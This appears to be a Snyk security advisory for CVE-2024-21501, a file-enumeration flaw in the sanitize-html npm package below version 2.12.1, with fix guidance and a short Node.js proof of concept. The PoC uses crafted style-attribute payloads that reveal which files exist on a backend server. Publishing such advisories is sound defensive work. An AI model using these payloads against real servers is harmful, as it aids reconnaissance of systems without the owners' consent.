Information Exposure Affecting sanitize-html package, versions <2.12.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (15th
percentile)
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Test your applications- Snyk ID SNYK-JS-SANITIZEHTML-6256334
- published 23 Feb 2024
- disclosed 20 Feb 2024
- credit Vsevolod Kokorin (Slonser) of Solidlab
Introduced: 20 Feb 2024
CVE-2024-21501 Open this link in a new tabHow to fix?
Upgrade sanitize-html to version 2.12.1 or higher.
Overview
sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis
Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.
PoC
// index.js
const sanitizeHtml = require('sanitize-html');
const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`;
const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`;
const file_exist_clean = sanitizeHtml(file_exist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
const file_notexist_clean = sanitizeHtml(file_notexist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
console.log(file_exist_clean, "// valid file path on backend")
console.log(file_notexist_clean, "// invalid file path on backend")
References
CVSS Scores
version 3.1